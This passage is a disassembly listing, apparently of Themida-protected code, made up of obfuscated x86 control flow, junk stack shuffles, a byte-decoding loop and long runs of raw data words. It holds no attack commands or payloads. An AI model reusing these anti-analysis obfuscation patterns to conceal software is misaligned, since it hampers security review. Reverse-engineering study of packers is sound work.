		dd 4, 457AC381h, 0CB012BD7h, 457AEB81h,	81592BD7h, 4EBh
		dd 241C8700h, 8924248Bh, 0A7E9242Ch
		db 3Ch,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_50F2AB:				; CODE XREF: Themida_:0050BA3Fj
		push	74B4h
		mov	[esp], edx
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_50B167
; ---------------------------------------------------------------------------

loc_50F2C1:				; CODE XREF: Themida_:00502DFFj
		add	edi, ebx
		pop	ebx
		jmp	loc_505BC4
; ---------------------------------------------------------------------------
		db 59h,	1, 0CBh
		dd 7FD8EB81h, 0C8B4C1Eh, 4C48324h, 3302C383h, 1C31241Ch
		dd 241C3324h, 0F1F7665Ch, 0FFBF3AE9h, 1739BBFFh, 0EB81626Bh
		dd 1A2F6012h, 0FF4F9CE9h, 0C48159FFh, 4, 4C481h, 1DE90000h
		dd 81FFFF86h, 0C1A43BC5h, 52EE81A6h, 121B525h, 52C681EEh
		dd 5D21B525h, 0E9243487h, 0FFFF3E0Dh, 0E1814149h, 7651502h
		dd 0EDEBE981h, 0C981D7C2h, 1D51730Dh, 0FF717BE9h, 2434FFFFh
		dd 8B2434FFh, 89562404h, 4C681E6h, 83000000h, 348704C6h
		dd 0C4835C24h, 40E2E904h, 4BAFFFFh, 1000000h, 7CCCE9D5h
		dd 0D130FFFFh, 0D4C1805Ah, 8033C980h, 8853F0C1h, 5BFE88CFh
		dd 53CEFE59h, 0FF6F46E9h, 24048FFFh, 4240483h, 68565359h
		dd 15A14F3Eh, 4EEC15Eh,	14F7F681h, 0F0E9015Ah, 0FFFFA0h
		dd 8BFE04E8h, 8957240Ch, 4C781E7h, 83000000h, 3C8704C7h
		dd 20685C24h, 0E9000041h, 0FFFFD993h
; ---------------------------------------------------------------------------

loc_50F3CC:				; CODE XREF: Themida_:0050D59Cj
		push	1832h
		jmp	loc_50A47B
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 0EC832404h, 24048904h, 0FF5772E9h, 0FFA768FFh, 2DA844FFh
		dd 24E9FAh, 56FC2A00h, 0FEAAA000h, 56AFC67Fh, 0EA2AA000h
		dd 207FAh, 200h, 100h, 300h, 2DA84400h,	0FAh, 4	dup(0)
		dd 51EED500h, 520D7900h, 51300600h, 523D5E00h, 50FC0100h
		dd 512AA400h, 521E8C00h, 51060B00h, 520F0C00h, 51FAD000h
		dd 52380300h, 5212D800h, 51A46800h, 51E7FA00h, 517D7700h
		dd 52228000h, 5169EB00h, 520EB400h, 51207800h, 52410300h
		dd 51A24000h, 51B2FF00h, 50FAB000h, 515A8A00h, 51505000h
		dd 5239A500h, 51B38900h, 515BBC00h, 524DDE00h, 51519200h
		dd 51F2ED00h, 51B7E300h, 5237CB00h, 51E41600h, 51FCAC00h
		dd 51615900h, 51D16C00h, 523C0700h, 510F3B00h, 51054B00h
		dd 5133B000h, 515D4A00h, 50FC5100h, 518FB200h, 519BE000h
		dd 51EA6000h, 5111CE00h, 51FBA200h, 51718300h, 51C33700h
		dd 51C80A00h, 52069A00h, 52059E00h, 51438400h, 51C5C200h
		dd 51330300h, 523E7900h, 5118E100h, 512A7000h, 5179F000h
		dd 522FC900h, 51C12300h, 51BA5B00h, 51B78F00h, 515E0E00h
		dd 5170E000h, 51233900h, 51C78800h, 5181B100h, 51AB4600h
		dd 521F7300h, 52485200h, 517E5A00h, 5197F800h, 51BE3700h
		dd 51527E00h, 520A7200h, 5161DB00h, 5213CB00h, 51908F00h
		dd 50FE7600h, 521CAF00h, 51873900h, 51468F00h, 51308900h
		dd 50FECF00h, 5146E500h, 5233FA00h, 51A1BD00h, 51226700h
		dd 51EB0700h, 51A88200h, 513FEF00h, 51076A00h, 51790B00h
		dd 523DFB00h, 50F89600h, 50FB4A00h, 5171E500h, 51152400h
		dd 51FF6900h, 51E62C00h, 50F81A00h, 51091C00h, 518B3100h
		dd 514BC300h, 51F8E000h, 51586800h, 51EFCA00h, 51DBFC00h
		dd 51FE9500h, 5136D500h, 514DAC00h, 5157AF00h, 52415200h
		dd 51DE5500h, 51CB4C00h, 51E68E00h, 524F4600h, 51B8B500h
		dd 522BF000h, 51E1AD00h, 516E6700h, 51067800h, 51C42300h
		dd 52387600h, 51426B00h, 51A8B200h, 52076800h, 514EC000h
		dd 52393F00h, 513A0C00h, 51839300h, 51DB7800h, 517B9900h
		dd 51698500h, 52332000h, 519AB000h, 51836000h, 516CEA00h
		dd 522CBA00h, 52302D00h, 51BEA900h, 512AE500h, 51914900h
		dd 51232000h, 51CB4400h, 522CDF00h, 520B7C00h, 51EBEC00h
		dd 513F8E00h, 5160AB00h, 51C09300h, 516A3300h, 52396900h
		dd 523AA200h, 519E7200h, 513FD500h, 523D4000h, 51216D00h
		dd 51513300h, 51A6C700h, 51F03100h, 517BDF00h, 51EC5300h
		dd 51952E00h, 51F0A700h
		db 0
; ---------------------------------------------------------------------------

loc_50F6C5:				; CODE XREF: Themida_:005598DDj
					; Themida_:0055FC9Ej ...
		pusha
		pushf
		cld
		call	$+5
		pop	edi
		sub	edi, 6234E89h
		mov	eax, edi
		add	edi, 6234BA1h
		cmp	eax, [edi+2Ch]
		jnz	short loc_50F6E3
		jmp	short loc_50F6F6
; ---------------------------------------------------------------------------

loc_50F6E3:				; CODE XREF: Themida_:0050F6DFj
		mov	[edi+2Ch], eax
		mov	ecx, 0A7h
		jmp	short loc_50F6F2
; ---------------------------------------------------------------------------

loc_50F6ED:				; CODE XREF: Themida_:0050F6F4j
		add	[edi+ecx*4+40h], eax
		dec	ecx

loc_50F6F2:				; CODE XREF: Themida_:0050F6EBj
		or	ecx, ecx
		jnz	short loc_50F6ED

loc_50F6F6:				; CODE XREF: Themida_:0050F6E1j
		mov	esi, [esp+24h]
		mov	ebx, esi
		add	esi, eax
		mov	ecx, 1

loc_50F703:				; CODE XREF: Themida_:0050F70Aj
		xor	eax, eax
		lock cmpxchg [edi+30h],	ecx
		jnz	short loc_50F703

loc_50F70C:				; CODE XREF: Themida_:0050FD89j
					; Themida_:00510503j ...
		lodsb
		xor	al, bl
		sub	esp, 4
		mov	[esp], ecx
		mov	cl, 0D3h
		not	cl
		sub	cl, 0D7h
		sub	al, 1Ah
		push	edx
		mov	dl, 8Ah
		add	al, dl
		jmp	loc_51C93B
; ---------------------------------------------------------------------------
		dd 2434FF5Eh, 27D8E95Ah
		db 1, 0
; ---------------------------------------------------------------------------

loc_50F732:				; CODE XREF: Themida_:005103C0j
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		sub	edi, 4
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		push	0
		jmp	loc_51F82B
; ---------------------------------------------------------------------------

loc_50F75E:				; CODE XREF: Themida_:00520898j
		add	ebx, eax
		pop	eax
		xchg	ebx, [esp]
		jmp	loc_515C2D
; ---------------------------------------------------------------------------

loc_50F769:				; CODE XREF: Themida_:0051061Ej
		sub	edx, eax
		pop	eax
		pop	ecx
		push	edx
		push	dword ptr [esp+4]
		mov	edx, [esp]
		jmp	loc_51C838
; ---------------------------------------------------------------------------
		dw 248Bh
		dd 0FF8AE924h, 0E089FFFFh, 4BB53h, 6CE90000h, 4E000070h
		dd 10C61E9h, 24048B00h,	8904EC83h, 58542404h, 405h, 89515600h
		dd 28E468E1h, 4890000h,	4B824h,	0C1010000h, 0B055E9h, 4C48300h
		dd 2297E952h, 0A8680001h, 89000061h, 8BBF243Ch,	870AC54Ch
		dd 0E9D3F7DFh, 45D0h, 44F2814Ah, 50672892h, 0A311E8B8h
		dd 58C20950h, 7AB2C281h, 0BE560B33h, 20461E5Dh,	25E9F231h
		db 0D5h, 2 dup(0)
; ---------------------------------------------------------------------------

loc_50F7FF:				; CODE XREF: Themida_:00523D93j
		dec	edx
		jmp	loc_520D00
; ---------------------------------------------------------------------------

loc_50F805:				; CODE XREF: Themida_:00510E44j
		pop	ecx
		mov	edx, [esp]
		add	esp, 4
		push	edi
		push	0D3112ADh
		pop	edi
		or	ecx, edi
		jmp	loc_51051E
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 7DE92404h, 660000EBh, 0E9241C8Bh, 21FBh, 8702EF83h
		dd 0EDE9243Ch, 5100009Ah, 50EDE950h, 34FF0000h,	0C4835924h
		dd 4C48304h, 41B3E955h,	83500001h, 148904ECh, 88DA8824h
		dd 8AE95AD0h, 8100005Fh, 3A3A4FEDh, 2434FF11h, 4C48158h
		dd 0E9000000h, 0B5D4h, 68E9F766h, 4370h, 0E9243C89h, 45C2h
; ---------------------------------------------------------------------------

loc_50F884:				; CODE XREF: Themida_:0051E924j
		add	esp, 4
		sub	eax, ebx
		add	eax, 4E982061h
		jmp	loc_5101C2
; ---------------------------------------------------------------------------
		dw 77FFh
		dd 59669D1Ch, 9C2414D3h, 0FFFE67E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_50F8A5:				; CODE XREF: Themida_:0051401Fj
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		push	4CB8h
		mov	[esp], edx
		push	ecx
		mov	ch, ah
		mov	dl, ch
		jmp	loc_519F19
; ---------------------------------------------------------------------------

loc_50F8C1:				; CODE XREF: Themida_:00514169j
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xor	ecx, [esp]
		jmp	loc_514C63
; ---------------------------------------------------------------------------
		db 5Ah
		dd 4C181h, 0C870000h, 0C5815C24h, 4, 9186E9h, 4B46BA00h
		dd 0DAF736C0h, 51BCB850h, 0C2312EDDh, 2139E958h, 0CD810000h
		dd 425D6F50h, 5792ED81h, 0B8502E56h, 2B06899h, 119EE9h
		dd 19C58100h, 176F031h,	19ED81F5h, 5E76F031h, 31242C33h
		dd 2C33242Ch, 366DE924h
		db 1, 0
; ---------------------------------------------------------------------------

loc_50F936:				; CODE XREF: Themida_:005134D3j
		mov	[esp], ebx
		jmp	loc_5137AE
; ---------------------------------------------------------------------------
		dw 0E95Ch
		dd 0FFFFFDC8h
; ---------------------------------------------------------------------------

loc_50F944:				; CODE XREF: Themida_:00516027j
		push	dword ptr [esp]
		mov	eax, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		sub	esp, 4
		jmp	loc_51124B
; ---------------------------------------------------------------------------
		dw 295Eh
		dd 0D88958C3h, 0FFC5015Bh, 48B2434h, 0E6895624h, 4C681h
		dd 0C6810000h, 4, 2474FF56h, 48F5E04h, 24248B24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_523AD0
; ---------------------------------------------------------------------------

loc_50F99A:				; CODE XREF: Themida_:00514242j
		sub	edi, 207C5921h
		add	edi, 6A5251Bh
		add	edi, ebx
		sub	edi, 6A5251Bh
		add	edi, 207C5921h
		pop	ebx
		xchg	edi, [esp]
		mov	esp, [esp]
		sub	esp, 4
		jmp	loc_511FB3
; ---------------------------------------------------------------------------

loc_50F9C6:				; CODE XREF: Themida_:0051F2BAj
		add	esp, 4
		xor	eax, ebp
		push	dword ptr [esp]
		jmp	loc_5177B1
; ---------------------------------------------------------------------------
		dw 0D2F7h
		dd 58241487h, 3E316C25h, 0FFE8834Bh, 28310935h,	8BC1014Bh
		dd 0C4812404h, 4, 31240C33h, 0C33240Ch,	2250E924h, 685C0000h
		dd 4760h, 0E9240489h, 152C5h
; ---------------------------------------------------------------------------

loc_50FA10:				; CODE XREF: Themida_:0051332Bj
		mov	esp, [esp]
		sub	esp, 4
		mov	[esp], esi
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	esi
		add	esi, 4
		sub	esp, 4
		mov	[esp], edi
		push	ebx
		mov	ebx, 5AF156E9h
		push	ebx
		mov	ebx, 0A50EA91Bh
		jmp	loc_5166D8
; ---------------------------------------------------------------------------
		db 0BBh
		dd 1B9E2177h, 8904EC83h, 0B8B9240Ch, 0E90FA261h, 50C0h
		dd 815E5456h, 4C6h, 4EE8100h, 0E9000000h, 0EC93h, 5B2434FFh
		dd 0FF6BE9h, 0CA814A00h, 2F5D67F0h, 67EFEA81h, 0D0892FFFh
		dd 11CF5E9h, 714B6800h,	4890000h, 64F9E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_50FA9A:				; CODE XREF: Themida_:005125FEj
		not	edx
		jmp	loc_51DB1D
; ---------------------------------------------------------------------------

loc_50FAA1:				; CODE XREF: Themida_:00514D9Fj
		mov	eax, 6D026D86h
		jmp	loc_51345C
; ---------------------------------------------------------------------------
		db 0E9h
		dd 0FFFFFC5Ch, 240C8B66h, 191C68h, 242C8900h, 0C5815D54h
		dd 4, 4B2868h, 0C9A7E900h, 0AB80000h, 56046A03h, 0BE5CF8BEh
		dd 9AEE812Ah, 0E924DB38h, 14DE8h
; ---------------------------------------------------------------------------

loc_50FAE4:				; CODE XREF: Themida_:0051CCBDj
		add	edx, edi
		pop	edi
		mov	esi, edx
		push	dword ptr [esp]
		mov	edx, [esp]
		jmp	loc_51030A
; ---------------------------------------------------------------------------

loc_50FAF4:				; CODE XREF: Themida_:005104E9j
		pop	ebx
		add	esp, 4
		and	eax, edx
		push	dword ptr [esp]
		mov	edx, [esp]
		sub	esp, 4
		jmp	loc_51CEDF
; ---------------------------------------------------------------------------

loc_50FB0B:				; CODE XREF: Themida_:00518F57j
		pop	eax
		sub	ebx, 0A455AB54h
		and	edi, ebx
		mov	ebx, [esp]
		add	esp, 4
		push	ebx
		push	59C31C4h
		mov	ebx, [esp]
		jmp	loc_51058A
; ---------------------------------------------------------------------------
		db 4Eh
		dd 0CD81F587h, 123D2562h, 0D755C581h, 0EA295A30h, 4664E95Dh
		dd 89570001h, 0C70FE9E7h, 8B660000h, 52E92404h
		db 2Fh,	1, 0
; ---------------------------------------------------------------------------

loc_50FB53:				; CODE XREF: Themida_:005216D9j
		mov	edx, 40652F0Dh
		jmp	loc_515815
; ---------------------------------------------------------------------------
		db 89h,	14h, 24h
		dd 11155E9h
		db 0
; ---------------------------------------------------------------------------

loc_50FB65:				; CODE XREF: Themida_:00517A8Ej
		mov	edi, [esp]
		jmp	loc_51DD26
; ---------------------------------------------------------------------------
		db 0E9h, 9Ah, 0FBh
		dd 0BF57FFFFh, 754234A4h, 815FFA31h, 1F5F3AE2h,	0F7EA814Ch
		dd 0C10FE63Fh, 0F28106EAh, 0D0D010h, 9EE9D301h
		db 0C4h, 2 dup(0)
; ---------------------------------------------------------------------------

loc_50FB97:				; CODE XREF: Themida_:00513926j
		push	edi
		jmp	loc_518145
; ---------------------------------------------------------------------------
		db 1, 0D7h, 0E9h
		dd 829Eh, 0FFFB63E9h, 66D300FFh, 5FF3805Ah, 0E948EB80h
		dd 11A6Fh, 64E9D309h
		db 67h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_50FBBF:				; CODE XREF: Themida_:0051BD95j
		mov	ebp, esp
		add	ebp, 4
		push	esi
		mov	esi, 4
		add	ebp, esi
		pop	esi
		xchg	ebp, [esp]
		jmp	loc_51B726
; ---------------------------------------------------------------------------
		dd 2856B1B9h, 4EC8173h,	89000000h, 60E92434h, 5200002Dh
		dd 70944BBAh, 5AD7019Ah, 315FF929h, 0D02959CAh,	7B24E9h
		dd 2434FF00h, 4EC8358h,	54240489h, 0E924048Bh, 1012Fh
		dd 11AFC181h, 0C5E90D87h, 58000101h, 0C180D9F6h, 7E9C0FFh
		dd 4805166h, 5966FF24h,	36B45066h, 5866E128h, 8071E9h
		dd 4B800h, 0E9500000h, 9BBAh
; ---------------------------------------------------------------------------

loc_50FC48:				; CODE XREF: Themida_:0051C008j
		not	edi
		xchg	edi, ecx
		jmp	loc_51BDA0
; ---------------------------------------------------------------------------
		db 8Fh,	2, 0E9h
		dd 0FFFFFAB4h
; ---------------------------------------------------------------------------

loc_50FC58:				; CODE XREF: Themida_:0051957Bj
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		pop	esp
		mov	ax, [esp]
		jmp	loc_51310E
; ---------------------------------------------------------------------------

loc_50FC6B:				; CODE XREF: Themida_:005118F2j
		or	eax, 25EC2CCFh
		jmp	loc_5213D3
; ---------------------------------------------------------------------------
		db 81h,	0E7h, 6Ch
		dd 31148E21h, 31F831C7h, 4EC4E9C7h
		db 1, 0
; ---------------------------------------------------------------------------

loc_50FC86:				; CODE XREF: Themida_:00524FEBj
		add	ebp, esi
		pop	esi
		push	edx
		jmp	loc_51A976
; ---------------------------------------------------------------------------

loc_50FC8F:				; CODE XREF: Themida_:0051BC39j
		push	ecx
		mov	ecx, 58FE7FABh
		xor	ecx, 58FE7FAFh
		sub	edi, 54385E13h
		add	edi, ecx
		push	ecx
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 54385E13h
		mov	ecx, eax
		pop	eax
		add	edi, ecx
		jmp	loc_524BE3
; ---------------------------------------------------------------------------

loc_50FCB9:				; CODE XREF: Themida_:00512DB6j
		add	dword ptr [esp], 4
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		jmp	loc_5249EF
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 0E9000000h, 0FACAh, 303FEC80h, 0F80058E7h, 81241C8Bh
		dd 4C4h, 32A6E900h, 0BF2D0000h,	0E9517A3Ch, 0B83Fh, 0B9240C89h
		dd 0CB52E32h, 8244C01h,	24740159h, 9EEE904h, 31660001h
		dd 3166240Ch, 0CF3166F9h, 66F93166h, 0D2686657h, 2C896651h
		dd 665F6624h, 81242C8Bh, 2C4h, 66556600h, 0E9241487h, 0CB14h
		dd 1FE9F201h, 2900008Eh, 1BF705D8h, 10052EFBh, 52297E0Eh
		dd 914286BAh, 2DBE564Ah, 81433800h, 9007EBEAh, 56F2010Fh
		dd 371DF9BEh, 8DE6E90Dh, 0C4810000h, 4,	5C24048Fh, 9C2424D2h
		dd 0FFFE27E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_50FD7D:				; CODE XREF: Themida_:00518565j
		add	esp, 4
		xchg	edi, [esp]
		mov	esp, [esp]
		mov	[esp], eax
		jmp	loc_50F70C
; ---------------------------------------------------------------------------

loc_50FD8E:				; CODE XREF: Themida_:00512976j
		mov	ebx, edi
		pop	edi
		push	1A22h
		mov	[esp], eax
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		push	edi
		push	esp
		pop	edi
		push	ecx
		push	ebx
		push	edi
		push	67F62B2Ah
		mov	edi, [esp]
		add	esp, 4
		xor	edi, 453E039Bh
		mov	ebx, edi
		pop	edi
		jmp	loc_512759
; ---------------------------------------------------------------------------

loc_50FDC4:				; CODE XREF: Themida_:0051144Fj
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		add	esp, 4
		and	eax, edx
		mov	edx, [esp]
		add	esp, 4
		shr	eax, 0Ch
		xor	eax, ecx
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_5207E7
; ---------------------------------------------------------------------------
		dw 0D66h
		dd 0D66769Dh, 5566195Bh, 0D333E957h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_50FE02:				; CODE XREF: Themida_:005143D0j
		add	esp, 4
		push	esi
		jmp	loc_512699
; ---------------------------------------------------------------------------
		db 54h
		dd 17CDE9h
		db 0
; ---------------------------------------------------------------------------

loc_50FE11:				; CODE XREF: Themida_:0051C359j
		pop	ebp
		jmp	loc_51C535
; ---------------------------------------------------------------------------
		db 52h
		dd 4DB081BAh, 0ACC6817Fh, 29771F1Ah, 0ACEE81D6h, 5A771F1Ah
		dd 1AE9F101h, 500000B9h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_5197ED
; ---------------------------------------------------------------------------
aFzrsSa		db 'fZRS·s€Ç',0
		db 50h,	88h, 0F8h
		dd 5B58C688h, 13082E9h,	4C28100h, 87000000h, 515C2414h
		dd 0EC76D8B9h, 59CE0113h, 0BB53EE01h, 13EC76D8h, 34FFDE29h
		dd 0C5F9E924h, 34FF0000h, 0BEC6E924h, 0F3010000h, 581DC381h
		dd 73E95B28h
		db 0CEh, 2 dup(0)
; ---------------------------------------------------------------------------

loc_50FE8B:				; CODE XREF: Themida_:0051A80Dj
		add	dword ptr [esp+4], 1B8E133Dh
		jmp	loc_5197C7
; ---------------------------------------------------------------------------

loc_50FE98:				; CODE XREF: Themida_:00512F6Aj
		mov	esi, 4
		add	edx, esi
		pop	esi
		xor	edx, [esp]
		xor	[esp], edx
		jmp	loc_51DE7A
; ---------------------------------------------------------------------------
aE2BQS		db '½²e2-Å ï',9,';éÄ¿',0
		dw 5100h
		dd 0C181E189h, 4, 4C181h, 10E90000h, 66000059h,	5724048Bh
		dd 8497E9h
		db 0, 56h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ecx
		push	3FB953B8h
		jmp	loc_51D45E
; ---------------------------------------------------------------------------
aXsC		db 'Xé(—',0
		align 10h
		dd 6624248Bh, 83240C8Bh, 29E902C4h
		db 2Ah,	1, 0
; ---------------------------------------------------------------------------

loc_50FF0F:				; CODE XREF: Themida_:005215D9j
		add	edx, eax
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_5107CC
; ---------------------------------------------------------------------------

loc_50FF1F:				; CODE XREF: Themida_:005178E5j
		push	ebx
		jmp	loc_520ABB
; ---------------------------------------------------------------------------
		db 5Eh,	0E9h, 18h
		dd 0FF00002Ah, 0E95D240Ch, 12FE9h, 6762EF81h, 0C701137Ch
		dd 6762C781h, 3358137Ch, 5EE9243Ch, 0C1000069h,	575304EFh
		dd 2219FBFh, 0F2CF8129h, 81031471h, 0D0950F7h, 0E9FB8953h
		dd 0D1B2h, 7222E95Eh, 15F0000h,	8A94E9C3h, 4330000h, 0D65DE924h
		dd 348B0000h, 4C48324h,	2759C681h, 0DEF7567Bh, 0B951DEF7h
		dd 165E6F29h, 0E981D9F7h, 1, 20B0F181h,	0E1810986h, 4D6F0B1Eh
		dd 6DCC181h, 0D8E983F3h
		db 0F8h, 2 dup(0)
; ---------------------------------------------------------------------------

loc_50FFB3:				; CODE XREF: Themida_:005177E2j
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_511771
; ---------------------------------------------------------------------------
		dd 0F5AC781h, 34E9CD4Ch, 5800002Ah, 4EC81h, 4890000h, 4B824h
		dd 0C6010000h, 8324048Bh, 343304C4h, 24343124h,	0E9243433h
		dd 5F45h, 89241489h, 4C281E2h, 83000000h, 148704C2h, 68585C24h
		dd 54D6h, 0BE243489h, 14E72335h, 65C2E9h, 81E38900h, 4C3h
		dd 4C38300h, 5C241C87h,	0C380C300h, 0F1E94Ah
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_51002A:				; CODE XREF: Themida_:00510B85j
		add	eax, ebx
		pop	ebx
		jmp	loc_51B95F
; ---------------------------------------------------------------------------

loc_510032:				; CODE XREF: Themida_:0052111Cj
		pop	esp
		mov	[esp], edi
		jmp	loc_51DA27
; ---------------------------------------------------------------------------
		db 52h
		dd 0C281E289h, 4, 8904EC83h, 3AE9242Ch
		db 0FAh, 2 dup(0)
; ---------------------------------------------------------------------------

loc_51004F:				; CODE XREF: Themida_:005160CEj
		sub	ebp, 4
		push	ebp
		jmp	loc_51C028
; ---------------------------------------------------------------------------
		db 0BFh
		dd 4, 5E44BB53h, 0DCE961C5h, 0E9000095h, 0FFFFF69Ch, 22A3BA52h
		dd 0D0295AABh, 0F118E9h, 0E2895200h, 4C281h, 0EA830000h
		dd 24143304h, 1327E9h, 24348B00h, 0D5DDE9h, 0AEC38100h
		dd 893D131Ch, 41B0E9DAh
		db 1, 0
; ---------------------------------------------------------------------------

loc_5100A6:				; CODE XREF: Themida_:0051814Cj
		pop	edi
		sub	eax, 4
		jmp	loc_524EBE
; ---------------------------------------------------------------------------

loc_5100B1:				; CODE XREF: Themida_:00519F82j
		mov	edi, [esp]
		add	esp, 4
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		mov	esp, [esp]

loc_5100C6:				; CODE XREF: Themida_:0051A685j
					; Themida_:00521739j
		sub	esp, 4
		mov	[esp], ebx
		push	dword ptr [esp]
		pop	eax
		push	0E3Ch
		jmp	loc_515DAD
; ---------------------------------------------------------------------------

loc_5100DD:				; CODE XREF: Themida_:00517704j
		push	eax
		mov	ah, 0A3h
		shl	ah, 4
		jmp	loc_5184FD
; ---------------------------------------------------------------------------

loc_5100E8:				; CODE XREF: Themida_:005142B1j
		mov	dl, 68h
		neg	dl
		add	dl, 0CEh
		add	dl, 5
		jmp	loc_510C43
; ---------------------------------------------------------------------------
		db 5Eh
		dd 515FF931h, 0E9243C8Bh, 4B20h
; ---------------------------------------------------------------------------

loc_510104:				; CODE XREF: Themida_:0051A666j
		add	ebx, 561D6C6Dh
		xor	ebx, 559C548Fh
		sub	ebp, 0CC02CDh
		jmp	loc_51A3CC
; ---------------------------------------------------------------------------
aQhb		db 'Qh^',0
		dd 241C8900h, 0F98826B7h, 10CECE9h
		db 0
; ---------------------------------------------------------------------------

loc_51012D:				; CODE XREF: Themida_:0051956Cj
		shl	ecx, 7
		jmp	loc_51B6E3
; ---------------------------------------------------------------------------
		db 0B9h, 0D2h, 58h
		dd 62E914E7h, 0FF00006Ch, 835D2434h, 0C9E904C4h
		db 41h,	1, 0
; ---------------------------------------------------------------------------

loc_51014B:				; CODE XREF: Themida_:00522927j
		add	esi, 5492F51Dh
		sub	ebx, esi
		mov	esi, [esp]
		add	esp, 4
		xor	edi, ebx
		pop	ebx
		xor	edi, 24504593h
		xor	[esp+4], edi
		push	dword ptr [esp]
		jmp	loc_515224
; ---------------------------------------------------------------------------

loc_51016E:				; CODE XREF: Themida_:00517489j
		add	esp, 4
		jmp	loc_521E37
; ---------------------------------------------------------------------------

loc_510179:				; CODE XREF: Themida_:00512334j
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		pop	esp
		add	ecx, edi
		add	ecx, 6D144977h
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_51A425
; ---------------------------------------------------------------------------
		db 89h,	2 dup(24h)
		dd 4240483h, 52240C8Bh,	0C2815A54h, 4, 8704C283h, 248B2414h
		dd 4386824h, 14890000h,	0D244E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5101C2:				; CODE XREF: Themida_:0050F891j
		add	eax, 16743F7h
		push	4D3Eh
		mov	[esp], ebp
		push	1ED1h
		mov	[esp], edx
		mov	edx, 5276362Bh
		jmp	loc_521620
; ---------------------------------------------------------------------------
		db 0C1h, 0E5h, 8
		dd 54CED81h, 0FD012A9Eh, 5F2434FFh, 70C668h, 243C8900h
		dd 0C781E789h, 4, 8704C783h, 505C243Ch,	347D67B8h, 58C53155h
		dd 4EE2C781h, 0EF011C05h, 7FE95651h, 0F6000016h, 0E7C280DAh
		dd 0C008E2C0h, 0AEE903E2h, 66000027h, 0E958C729h, 14663h
; ---------------------------------------------------------------------------

loc_510238:				; CODE XREF: Themida_:005186CFj
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		or	edi, ecx
		pop	ecx
		xor	edi, 32BFB339h
		xor	edx, edi
		jmp	loc_51EE8D
; ---------------------------------------------------------------------------
		db 81h
		dd 0EA64DEE9h, 0C335F46h, 240C3124h, 0E9240C33h, 6D39h
		dd 0C380D300h, 805A661Fh, 0B60F19EBh, 8734FFC0h, 8324048Bh
		dd 348904ECh, 57E68924h, 0FFFDCEE9h, 51F828FFh,	0E82875B5h
		dd 4EC8359h, 0E9241C89h, 0B5D4h, 6BDAE956h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5102A6:				; CODE XREF: Themida_:00519EB8j
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_51A944
; ---------------------------------------------------------------------------
		db 58h
		dd 2414335Dh, 0E9241431h, 200h
; ---------------------------------------------------------------------------

loc_5102C4:				; CODE XREF: Themida_:00523D24j
		push	edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_516DED
; ---------------------------------------------------------------------------

loc_5102D2:				; CODE XREF: Themida_:0051C675j
		xor	[esp], ecx
		jmp	loc_51812D
; ---------------------------------------------------------------------------

loc_5102DA:				; CODE XREF: Themida_:0051E370j
		push	dword ptr [esp]
		jmp	loc_518385
; ---------------------------------------------------------------------------
		dw 685Dh
		dd 0FFBA9288h, 5AD7015Fh, 0D37C0C2Dh, 0FD7AE95Eh, 0E689FFFFh
		dd 4C681h, 0C6830000h, 24348704h, 0CC60E95Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_51030A:				; CODE XREF: Themida_:0050FAEFj
		add	esp, 4
		add	esp, 4
		jmp	loc_52117C
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 8B000000h, 0C481242Ch, 4, 12E4E9h, 4BF00h, 0FA290000h
		dd 2414875Fh, 8924248Bh, 4BF243Ch, 29000000h, 243C8BFEh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebp
		jmp	loc_5155AE
; ---------------------------------------------------------------------------
		dw 4BDh
		dd 1000000h, 5D04246Ch,	8B2434FFh, 5452242Ch, 11ED8E9h
		dd 0DFD8BB00h, 0DD01CCC5h, 4FEB815Bh, 8102994Eh, 0D1220EEBh
		dd 1453E953h, 34890001h, 0BE565024h, 0
		dd 0E95EF089h, 3871h
; ---------------------------------------------------------------------------

loc_510390:				; CODE XREF: Themida_:0051B37Cj
		mov	ebp, 3294709Bh
		jmp	loc_519777
; ---------------------------------------------------------------------------
		dw 0D800h
